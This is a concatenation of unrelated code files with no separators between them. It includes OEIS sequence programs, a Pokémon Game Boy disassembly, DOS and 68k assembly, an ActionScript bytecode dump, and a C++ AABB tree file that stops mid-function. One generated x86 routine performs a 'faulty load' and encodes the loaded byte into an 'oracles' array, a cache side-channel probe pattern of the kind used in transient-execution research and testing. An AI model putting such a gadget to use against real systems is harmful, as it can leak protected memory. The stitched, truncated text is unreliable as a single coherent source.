0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000001 0000000000000010 0000000000000011 0000000000000100 0000000000000101 0000000000000110 0000000000000111 0000000000001000 0000000000001001 0000000000001010 0000000000001011 0000000000001100 0000000000001101 0000000000001110 0000000000001111 0000000000010000 0000000000010001 0000000000010010 0000000000010011 0000000000010100 0000000000010101 0000000000010110 0000000000010111 0000000000011000 0000000000011001 0000000000011010 0000000000011011 0000000000011100 0000000000011101 0000000000011110 0000000000011111 0000000000100000 0000000000100001 0000000000100010 0000000000100011 0000000000100100 0000000000100101 0000000000100110 0000000000100111 0000000000101000 0000000000101001 0000000000101010 0000000000101011 0000000000101100 0000000000101101 0000000000101110 0000000000101111 0000000000110000 0000000000110001 0000000000110010 0000000000110011 0000000000110100 0000000000110101 0000000000110110 0000000000110111 0000000000111000 0000000000111001 0000000000111010 0000000000111011 0000000000111100 0000000000111101 0000000000111110 0000000000111111
bits 64 b0: vmovd xmm2, [rdx+r9] e0: section .data len: dd e0 - b0 ; Should be 6
; A122876: a(0)=1, a(1)=1, a(2)=2, a(n) = a(n-1) - a(n-2) for n>2. ; 1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1,1,2,1,-1,-2,-1 add $0,1 mul $0,2 sub $0,3 div $0,2 mov $1,1 mov $2,1 lpb $0 sub $0,1 add $1,$2 sub $2,$1 lpe
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r14 push %r15 push %rbp push %rcx push %rdi push %rsi lea addresses_UC_ht+0x11e3, %rsi lea addresses_A_ht+0x8a63, %rdi nop nop nop nop nop inc %r12 mov $112, %rcx rep movsl nop nop nop nop inc %rbp lea addresses_UC_ht+0xce63, %rsi nop nop and %r14, %r14 mov $0x6162636465666768, %rdi movq %rdi, %xmm6 and $0xffffffffffffffc0, %rsi vmovntdq %ymm6, (%rsi) nop sub %r14, %r14 lea addresses_D_ht+0x5373, %rbp nop nop nop nop inc %r12 mov (%rbp), %di nop add $46497, %r14 lea addresses_A_ht+0xdda3, %r14 nop nop nop nop cmp %rbp, %rbp movups (%r14), %xmm5 vpextrq $1, %xmm5, %rdi nop nop nop nop nop and $13562, %rsi lea addresses_D_ht+0x2063, %rcx nop nop nop nop nop add %r15, %r15 mov $0x6162636465666768, %r14 movq %r14, %xmm5 vmovups %ymm5, (%rcx) nop nop nop dec %rcx lea addresses_normal_ht+0x83cf, %r14 clflush (%r14) nop add %rsi, %rsi movb (%r14), %r15b add $53844, %r14 lea addresses_UC_ht+0x10153, %r14 nop nop nop nop dec %rbp mov $0x6162636465666768, %rdi movq %rdi, %xmm6 movups %xmm6, (%r14) nop nop nop sub $44683, %r12 lea addresses_D_ht+0x19445, %rsi nop nop nop nop and %rbp, %rbp mov (%rsi), %r15d nop nop nop nop nop dec %r15 lea addresses_normal_ht+0x1a63, %rsi lea addresses_normal_ht+0x10a63, %rdi xor %r13, %r13 mov $84, %rcx rep movsq nop nop nop nop nop add %r14, %r14 lea addresses_WT_ht+0x2427, %rsi lea addresses_D_ht+0x10323, %rdi clflush (%rsi) clflush (%rdi) nop nop dec %r13 mov $50, %rcx rep movsb nop nop nop cmp %rsi, %rsi lea addresses_UC_ht+0x2c63, %rdi nop nop nop nop nop and %r15, %r15 mov (%rdi), %esi nop nop nop nop nop xor %r13, %r13 lea addresses_normal_ht+0x10263, %r15 nop cmp $54274, %rcx movb $0x61, (%r15) nop inc %rsi pop %rsi pop %rdi pop %rcx pop %rbp pop %r15 pop %r14 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r15 push %r8 push %rbp push %rcx push %rdi // Store lea addresses_WT+0x10063, %r15 clflush (%r15) nop nop nop nop xor $43420, %r8 mov $0x5152535455565758, %rcx movq %rcx, (%r15) nop nop nop nop and %r15, %r15 // Faulty Load lea addresses_US+0xa263, %r15 nop nop nop nop and $37502, %r12 mov (%r15), %r11 lea oracles, %r15 and $0xff, %r11 shlq $12, %r11 mov (%r15,%r11,1), %r11 pop %rdi pop %rcx pop %rbp pop %r8 pop %r15 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_US', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 8, 'congruent': 8, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_US', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 10, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': True}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'00': 78} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
NameRatersHouse_Script: jp EnableAutoTextBoxDrawing NameRaterScript_1da15: call PrintText call YesNoChoice ld a, [wCurrentMenuItem] and a ret NameRaterScript_1da20: ld hl, wPartyMonOT ld bc, NAME_LENGTH ld a, [wWhichPokemon] call AddNTimes ld de, wPlayerName ld c, NAME_LENGTH call .asm_1da47 jr c, .asm_1da52 ld hl, wPartyMon1OTID ld bc, wPartyMon2 - wPartyMon1 ld a, [wWhichPokemon] call AddNTimes ld de, wPlayerID ld c, $2 .asm_1da47 ld a, [de] cp [hl] jr nz, .asm_1da52 inc hl inc de dec c jr nz, .asm_1da47 and a ret .asm_1da52 scf ret NameRatersHouse_TextPointers: dw NameRaterText1 NameRaterText1: TX_ASM call SaveScreenTilesToBuffer2 ld hl, NameRaterText_1dab3 call NameRaterScript_1da15 jr nz, .asm_1daae ld hl, NameRaterText_1dab8 call PrintText xor a ld [wPartyMenuTypeOrMessageID], a ld [wUpdateSpritesEnabled], a ld [wMenuItemToSwap], a call DisplayPartyMenu push af call GBPalWhiteOutWithDelay3 call RestoreScreenTilesAndReloadTilePatterns call LoadGBPal pop af jr c, .asm_1daae call GetPartyMonName2 call NameRaterScript_1da20 ld hl, NameRaterText_1dad1 jr c, .asm_1daa8 ld hl, NameRaterText_1dabd call NameRaterScript_1da15 jr nz, .asm_1daae ld hl, NameRaterText_1dac2 call PrintText callba DisplayNameRaterScreen jr c, .asm_1daae ld hl, NameRaterText_1dac7 .asm_1daa8 call PrintText jp TextScriptEnd .asm_1daae ld hl, NameRaterText_1dacc jr .asm_1daa8 NameRaterText_1dab3: TX_FAR _NameRaterText_1dab3 db "@" NameRaterText_1dab8: TX_FAR _NameRaterText_1dab8 db "@" NameRaterText_1dabd: TX_FAR _NameRaterText_1dabd db "@" NameRaterText_1dac2: TX_FAR _NameRaterText_1dac2 db "@" NameRaterText_1dac7: TX_FAR _NameRaterText_1dac7 db "@" NameRaterText_1dacc: TX_FAR _NameRaterText_1dacc db "@" NameRaterText_1dad1: TX_FAR _NameRaterText_1dad1 db "@"
; multi-segment executable file template. data segment ; add your data here! pkey db 10, 13, "press any key...$" message db 10, 13, "Result : $" string db 300 dup("$") ends stack segment dw 128 dup(0) ends code segment start: ; set segment registers: mov ax, data mov ds, ax mov es, ax ; add your code here mov cx,1 mov si,0 for1: cmp cx, 300 jg endfor1 mov ah, 1h int 21h cmp al, 'e' je endfor1 mov string[si], al inc si inc cx jmp for1 endfor1: lea dx, message mov ah, 9 int 21h lea dx, string mov ah, 9 int 21h lea dx, pkey mov ah, 9 int 21h ; output string at ds:dx ; wait for any key.... mov ah, 1 int 21h mov ax, 4c00h ; exit to operating system. int 21h ends end start ; set entry point and stop the assembler.
; Load file into heap V1.00  1988 Tony Tebby section gen_util xdef gu_lchp xdef gu_lchpx xdef gu_lchph xdef gu_lchpf xref gu_iowp xref gu_achp0 xref gu_rchp xref gu_fclos include 'dev8_keys_hdr' include 'dev8_keys_qdos_io' ;+++ ; This routine reads the file header, allocates enough heap for the file ; plus its header (full form) plus an extension of a given length. ; plus an extension of the given length, loads the file into the heap ; after the extension, and closes the channel. If the extension was of ; an odd length then it is evened up before use. ; ; d1 r extension required/length of file ; a0 c channel ID ; a0 r base of heap ; error returns standard ; uses $50 bytes of stack + gu_achp0/gu_rchp/gu_fclos/gu_iowp ;--- gu_lchpf reglchp reg d2/d3/a1 frame equ hdr.len movem.l reglchp,-(sp) sub.w #frame,sp moveq #hdr.len,d2 bra.s ugl_ntry ;+++ ; This routine reads the file header, allocates enough heap for the file ; plus its header (short form) plus an extension of a given length. ; plus an extension of the given length, loads the file into the heap ; after the extension, and closes the channel. If the extension was of ; an odd length then it is evened up before use. ; ; d1 r extension required/length of file ; a0 c channel ID ; a0 r base of heap ; error returns standard ; uses $50 bytes of stack + gu_achp0/gu_rchp/gu_fclos/gu_iowp ;--- gu_lchph movem.l reglchp,-(sp) sub.w #frame,sp moveq #hdr.set,d2 ; header length to read bra.s ugl_ntry ;+++ ; This routine reads the file header, allocates enough heap, loads the ; file and closes the channel. ; ; d1 cr length of file ; a0 c channel ID ; a0 r base of heap ; error returns standard ; uses $50 bytes of stack + gu_achp0/gu_rchp/gu_fclos/gu_iowp ;--- gu_lchp moveq #0,d1 ; no extension ;+++ ; This routine reads the file header, allocates enough heap for the file ; plus an extension of the given length, loads the file into the heap ; after the extension, and closes the channel. If the extension was of ; an odd length then it is evened up before use. ; ; d1 cr extension required/length of file ; a0 c channel ID ; a0 r base of heap ; error returns standard ; uses $50 bytes of stack + gu_achp0/gu_rchp/gu_fclos/gu_iowp ;--- gu_lchpx movem.l reglchp,-(sp) sub.w #frame,sp moveq #4,d2 ; ... no header required, just length ugl_ntry addq.l #1,d1 ; ensure extension is... bclr #0,d1 ; ...evened up, with no header move.l d1,d3 ; save complete extension add.l d2,d1 ; room for header as well moveq #iof.rhdr,d0 ; read header lea (sp),a1 ; into stack frame jsr gu_iowp bne.s ugl_close move.l a0,a1 ; save channel add.l (sp),d1 ; total length move.l d1,d0 jsr gu_achp0 ; allocate it exg a0,a1 bne.s ugl_close move.l a1,d1 ; keep base add.l d3,a1 ; we want header / file here cmp.w #hdr.set,d2 ; copy header? blt.s ugl_flod ; no move.l a0,-(sp) lea 4(sp),a0 ; header is here ugl_cphl move.w (a0)+,(a1)+ ; copy some header subq.w #2,d2 bgt.s ugl_cphl move.l (sp)+,a0 ugl_flod moveq #iof.load,d0 ; load file move.l (sp),d2 ; length jsr gu_iowp move.l d1,a1 ; restore heap base beq.s ugl_close exg a0,a1 jsr gu_rchp ; return heap exg a0,a1 ugl_close move.l d2,d1 ; set returned length jsr gu_fclos ; close file, set CCR move.l a1,a0 ; set returned base address add.w #frame,sp movem.l (sp)+,reglchp rts end
{ 'abc_class': 'AbcFile' , 'minor_version': 16 , 'major_version': 46 , 'int_pool': [ , '10' , '20' , '30' ] , 'uint_pool': [ ] , 'double_pool': [ ] , 'utf8_pool': [ , '' , 'Object' , 'Array' , 'RegExp' , 'x' , 'y' , 'z' , 'a' , 'b' , 'c' , 'f' , '$t0' , '0' , '1' , '2' , 'print' ] , 'namespace_pool': [ , { 'kind': 'PackageNamespace' , 'utf8': '1' } , { 'kind': 'AnonymousNamespace' , 'utf8': '1' } ] , 'nsset_pool': [ , [ '2' ] ] , 'name_pool': [ , { 'kind': 'QName' , 'ns': '1' , 'utf8': '2' } , { 'kind': 'QName' , 'ns': '1' , 'utf8': '3' } , { 'kind': 'QName' , 'ns': '1' , 'utf8': '4' } , { 'kind': 'QName' , 'ns': '2' , 'utf8': '5' } , { 'kind': 'QName' , 'ns': '2' , 'utf8': '6' } , { 'kind': 'QName' , 'ns': '2' , 'utf8': '7' } , { 'kind': 'QName' , 'ns': '2' , 'utf8': '8' } , { 'kind': 'QName' , 'ns': '2' , 'utf8': '9' } , { 'kind': 'QName' , 'ns': '2' , 'utf8': '10' } , { 'kind': 'QName' , 'ns': '2' , 'utf8': '11' } , { 'kind': 'QName' , 'ns': '2' , 'utf8': '12' } , { 'kind': 'Multiname' , 'utf8': '13' , 'nsset': '1' } , { 'kind': 'Multiname' , 'utf8': '14' , 'nsset': '1' } , { 'kind': 'Multiname' , 'utf8': '15' , 'nsset': '1' } , { 'kind': 'Multiname' , 'utf8': '8' , 'nsset': '1' } , { 'kind': 'Multiname' , 'utf8': '9' , 'nsset': '1' } , { 'kind': 'Multiname' , 'utf8': '10' , 'nsset': '1' } , { 'kind': 'Multiname' , 'utf8': '16' , 'nsset': '1' } , { 'kind': 'Multiname' , 'utf8': '5' , 'nsset': '1' } , { 'kind': 'Multiname' , 'utf8': '6' , 'nsset': '1' } , { 'kind': 'Multiname' , 'utf8': '7' , 'nsset': '1' } , { 'kind': 'Multiname' , 'utf8': '11' , 'nsset': '1' } ] , 'method_infos': [ { 'ret_type': , 'param_types': [] , 'name': , 'flags': , 'optional_count': , 'value_kind': [ ] , 'param_names': [ ] } , { 'ret_type': , 'param_types': [] , 'name': , 'flags': , 'optional_count': , 'value_kind': [ ] , 'param_names': [ ] } , ] , 'method_bodys': [ { 'method_info': , 'max_stack': , 'max_regs': , 'scope_depth': , 'max_scope': , 'code': [ getlocal0 , pushscope , newactivation , dup , setlocal3 , pushscope , findproperty 0b , getlocal1 , setproperty 0b , pushundefined , pop , findproperty 04 , findpropstrict 0b , getproperty 0b , getproperty 0c , setproperty 04 , pushundefined , pop , findproperty 05 , findpropstrict 0b , getproperty 0b , getproperty 0d , setproperty 05 , pushundefined , pop , findproperty 06 , findpropstrict 0b , getproperty 0b , getproperty 0e , setproperty 06 , pushundefined , pop , findproperty 0b , getlocal2 , setproperty 0b , pushundefined , pop , findproperty 07 , findpropstrict 0b , getproperty 0b , getproperty 0f , setproperty 07 , pushundefined , pop , findproperty 08 , findpropstrict 0b , getproperty 0b , getproperty 10 , setproperty 08 , pushundefined , pop , findproperty 09 , findpropstrict 0b , getproperty 0b , getproperty 11 , setproperty 09 , pushundefined , pop , findpropstrict 12 , getproperty 12 , pushnull , findpropstrict 13 , getproperty 13 , findpropstrict 14 , getproperty 14 , findpropstrict 15 , getproperty 15 , call 03 , pop , findpropstrict 12 , getproperty 12 , pushnull , findpropstrict 0f , getproperty 0f , findpropstrict 10 , getproperty 10 , findpropstrict 11 , getproperty 11 , call 03 , pop , kill 03 , returnvoid , ] , 'exceptions': [ ] , 'fixtures': [ ] } , { 'method_info': , 'max_stack': , 'max_regs': , 'scope_depth': , 'max_scope': , 'code': [ getlocal0 , pushscope , findproperty 0b , pushint 01 , pushint 02 , pushint 03 , newarray 03 , setproperty 0b , pushundefined , pop , findproperty 04 , findpropstrict 0b , getproperty 0b , getproperty 0c , setproperty 04 , pushundefined , pop , findproperty 05 , findpropstrict 0b , getproperty 0b , getproperty 0d , setproperty 05 , pushundefined , pop , findproperty 06 , findpropstrict 0b , getproperty 0b , getproperty 0e , setproperty 06 , pushundefined , pop , findpropstrict 12 , getproperty 12 , pushnull , findpropstrict 13 , getproperty 13 , findpropstrict 14 , getproperty 14 , findpropstrict 15 , getproperty 15 , call 03 , pop , findproperty 0b , findpropstrict 01 , constructprop 01 00 d5 , getlocal1 , pushint 01 , setproperty 0f , getlocal1 , pushint 02 , setproperty 10 , getlocal1 , pushint 03 , setproperty 11 , getlocal1 , kill 01 , setproperty 0b , pushundefined , pop , findproperty 07 , findpropstrict 0b , getproperty 0b , getproperty 0f , setproperty 07 , pushundefined , pop , findproperty 08 , findpropstrict 0b , getproperty 0b , getproperty 10 , setproperty 08 , pushundefined , pop , findproperty 09 , findpropstrict 0b , getproperty 0b , getproperty 11 , setproperty 09 , pushundefined , pop , findpropstrict 12 , getproperty 12 , pushnull , findpropstrict 0f , getproperty 0f , findpropstrict 10 , getproperty 10 , findpropstrict 11 , getproperty 11 , call 03 , pop , findpropstrict 16 , getproperty 16 , pushnull , pushint 01 , pushint 02 , pushint 03 , newarray 03 , findpropstrict 01 , constructprop 01 00 d5 , getlocal1 , pushint 01 , setproperty 0f , getlocal1 , pushint 02 , setproperty 10 , getlocal1 , pushint 03 , setproperty 11 , getlocal1 , kill 01 , call 02 , pop , returnvoid , ] , 'exceptions': [ ] , 'fixtures': [ ] } , ] }
; A035329: a(n) = n*(2*n+5)*(2*n+7). ; 0,63,198,429,780,1275,1938,2793,3864,5175,6750,8613,10788,13299,16170,19425,23088,27183,31734,36765,42300,48363,54978,62169,69960,78375,87438,97173,107604,118755,130650,143313,156768,171039,186150,202125,218988,236763 mov $2,$0 mul $0,2 mov $3,$0 add $0,5 lpb $0,1 sub $0,1 add $2,$3 add $1,$2 lpe
; A017814: Binomial coefficients C(98,n). ; 1,98,4753,152096,3612280,67910864,1052618392,13834413152,157366449604,1573664496040,14005614014756,112044912118048,812325612855848,5373846361969456,32626924340528840,182710776306961504,947812152092362802,4571799792445514692,20573099066004816114,86623575014757120480,342163121308290625896,1270891593430793753328,4448120577007778136648,14698137558808310364576,45931679871275969889300,135957772418976870872328,381727591791742752833844,1017940244777980674223584,2581205620687022423924088 mov $1,98 bin $1,$0 mov $0,$1
; A230877: If n = Sum_{i=0..m} c(i)*2^i, c(i) = 0 or 1, then a(n) = Sum_{i=0..m} (m+1-i)*c(i). ; 0,1,1,3,1,4,3,6,1,5,4,8,3,7,6,10,1,6,5,10,4,9,8,13,3,8,7,12,6,11,10,15,1,7,6,12,5,11,10,16,4,10,9,15,8,14,13,19,3,9,8,14,7,13,12,18,6,12,11,17,10,16,15,21,1,8,7,14,6,13,12,19,5,12,11,18,10,17,16,23,4,11,10,17,9,16,15,22,8,15,14 mov $2,$0 mov $3,$0 lpb $0,1 div $0,2 sub $3,$0 sub $2,$3 lpe mov $1,1 sub $1,$2 add $1,$3 mov $0,$1 add $0,1 mov $1,$0 sub $1,2
; A134314: First differences of A134429. ; Submitted by Jamie Morken(s2) ; -8,8,-8,16,-24,24,-24,32,-40,40,-40,48,-56,56,-56,64,-72,72,-72,80,-88,88,-88,96,-104,104,-104,112,-120,120,-120,128,-136,136,-136,144,-152,152,-152,160,-168,168,-168,176,-184,184,-184,192,-200,200,-200,208 add $0,1 mov $1,-2 bin $1,$0 mov $0,1 div $1,2 sub $0,$1 mod $0,2 lpb $0 trn $0,9 add $1,1 lpe mov $0,$1 mul $0,8
// Copyright(c) 2017 POLYGONTEK // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http ://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "Precompiled.h" #include "Core/DynamicAABBTree.h" #include "Core/Heap.h" BE_NAMESPACE_BEGIN constexpr int32_t DefaultNodeCapacity = 256; constexpr float DisplacementMultiplier = 2.0f; DynamicAABBTree::DynamicAABBTree() { Clear(); } DynamicAABBTree::~DynamicAABBTree() { Mem_Free(nodes); } void DynamicAABBTree::Clear() { if (nodes) { Mem_Free(nodes); } nodeCapacity = DefaultNodeCapacity; nodes = (Node *)Mem_Alloc(nodeCapacity * sizeof(nodes[0])); memset(nodes, 0, nodeCapacity * sizeof(nodes[0])); nodeCount = 0; // Build a linked list for the free list. Node *node = nodes; for (int32_t i = 0; i < nodeCapacity - 1; i++, node++) { node->next = i + 1; node->height = -1; } node->next = -1; node->height = -1; freeList = 0; root = -1; insertionCount = 0; } // Allocated a node from the pool. Grow the pool if necessary. int32_t DynamicAABBTree::AllocNode() { // Expand the node pool as needed. if (freeList == -1) { assert(nodeCount == nodeCapacity); // The free list is empty. Rebuild a bigger pool. Node *oldNodes = nodes; nodeCapacity *= 2; nodes = (Node *)Mem_Alloc(nodeCapacity * sizeof(nodes[0])); memcpy(nodes, oldNodes, nodeCount * sizeof(nodes[0])); Mem_Free(oldNodes); // Build a linked list for the free list. // The parent pointer becomes the "next" pointer. Node *node = &nodes[nodeCount]; for (int32_t i = nodeCount; i < nodeCapacity - 1; i++, node++) { node->next = i + 1; node->height = -1; } node->next = -1; node->height = -1; freeList = nodeCount; } // Peel a node off the free list. int32_t nodeId = freeList; Node *node = &nodes[freeList]; freeList = node->next; node->parent = -1; node->child1 = -1; node->child2 = -1; node->height = 0; node->userData = nullptr; nodeCount++; return nodeId; } // Return a node to the pool. void DynamicAABBTree::FreeNode(int32_t nodeId) { assert(0 <= nodeId && nodeId < nodeCapacity); assert(0 < nodeCount); nodes[nodeId].next = freeList; nodes[nodeId].height = -1; freeList = nodeId; nodeCount--; } // Create a proxy in the tree as a leaf node. We return the index // of the node instead of a pointer so that we can grow the node pool. int32_t DynamicAABBTree::CreateProxy(const AABB &aabb, float expansion, void *userData) { int32_t proxyId = AllocNode(); // Fatten the aabb. nodes[proxyId].aabb = aabb; nodes[proxyId].aabb.ExpandSelf(expansion); nodes[proxyId].userData = userData; nodes[proxyId].height = 0; InsertLeaf(proxyId); return proxyId; } void DynamicAABBTree::DestroyProxy(int32_t proxyId) { assert(0 <= proxyId && proxyId < nodeCapacity); assert(nodes[proxyId].IsLeaf()); RemoveLeaf(proxyId); FreeNode(proxyId); } bool DynamicAABBTree::MoveProxy(int32_t proxyId, const AABB &aabb, float expansion, const Vec3 &displacement) { assert(0 <= proxyId && proxyId < nodeCapacity); assert(nodes[proxyId].IsLeaf()); if (nodes[proxyId].aabb.IsContainAABB(aabb)) { return false; } RemoveLeaf(proxyId); // Expand AABB. AABB b = aabb; b.ExpandSelf(expansion); // Predict AABB displacement. Vec3 d = DisplacementMultiplier * displacement; if (d.x < 0.0f) { b[0].x += d.x; } else { b[1].x += d.x; } if (d.y < 0.0f) { b[0].y += d.y; } else { b[1].y += d.y; } if (d.z < 0.0f) { b[0].z += d.z; } else { b[1].z += d.z; } nodes[proxyId].aabb = b; InsertLeaf(proxyId); return true; } void DynamicAABBTree::InsertLeaf(int32_t leaf) { insertionCount++; if (root == -1) { root = leaf; nodes[root].parent = -1; return; } // Find the best sibling for this node. AABB leafAABB = nodes[leaf].aabb; int32_t index = root; while (nodes[index].IsLeaf() == false) { int32_t child1 = nodes[index].child1; int32_t child2 = nodes[index].child2; float area = nodes[index].aabb.Area(); AABB combinedAABB = nodes[index].aabb + leafAABB; float combinedArea = combinedAABB.Area(); // Cost of creating a new parent for this node and the new leaf. float cost = 2.0f * combinedArea; // Minimum cost of pushing the leaf further down the tree. float inheritanceCost = 2.0f * (combinedArea - area); // Cost of descending into child1. float cost1; if (nodes[child1].IsLeaf()) { AABB aabb = leafAABB + nodes[child1].aabb; cost1 = aabb.Area() + inheritanceCost; } else { AABB aabb = leafAABB + nodes[child1].aabb; float oldArea = nodes[child1].aabb.Area(); float newArea = aabb.Area(); cost1 = (newArea - oldArea) + inheritanceCost; } // Cost of descending into child2. float cost2; if (nodes[child2].IsLeaf()) { AABB aabb = leafAABB + nodes[child2].aabb; cost2 = aabb.Area() + inheritanceCost; } else { AABB aabb = leafAABB + nodes[child2].aabb; float oldArea = nodes[child2].aabb.Area(); float newArea = aabb.Area(); cost2 = newArea - oldArea + inheritanceCost; } // Descend according to the minimum cost. if (cost < cost1 && cost < cost2) { break; } // Descend. if (cost1 < cost2) { index = child1; } else { index = child2; } } int32_t sibling = index; // Create a new parent. int32_t oldParent = nodes[sibling].parent; int32_t newParent = AllocNode(); nodes[newParent].parent = oldParent; nodes[newParent].userData = nullptr; nodes[newParent].aabb = leafAABB + nodes[sibling].aabb; nodes[newParent].height = nodes[sibling].height + 1; if (oldParent != -1) { // The sibling was not the root. if (nodes[oldParent].child1 == sibling) { nodes[oldParent].child1 = newParent; } else { nodes[oldParent].child2 = newParent; } } else { // The sibling was the root. root = newParent; } nodes[newParent].child1 = sibling; nodes[newParent].child2 = leaf; nodes[sibling].parent = newParent; nodes[leaf].parent = newParent; // Walk back up the tree fixing heights and AABBs. index = nodes[leaf].parent; while (index != -1) { index = Balance(index); int32_t child1 = nodes[index].child1; int32_t child2 = nodes[index].child2; assert(child1 != -1); assert(child2 != -1); nodes[index].height = 1 + Max(nodes[child1].height, nodes[child2].height); nodes[index].aabb = nodes[child1].aabb + nodes[child2].aabb; index = nodes[index].parent; } //Validate(); } void DynamicAABBTree::RemoveLeaf(int32_t leaf) { if (leaf == root) { root = -1; return; } int32_t parent = nodes[leaf].parent; int32_t grandParent = nodes[parent].parent; int32_t sibling; if (nodes[parent].child1 == leaf) { sibling = nodes[parent].child2; } else { sibling = nodes[parent].child1; } if (grandParent != -1) { // Destroy parent and connect sibling to grandParent. if (nodes[grandParent].child1 == parent) { nodes[grandParent].child1 = sibling; } else { nodes[grandParent].child2 = sibling; } nodes[sibling].parent = grandParent; FreeNode(parent); // Adjust ancestor bounds. 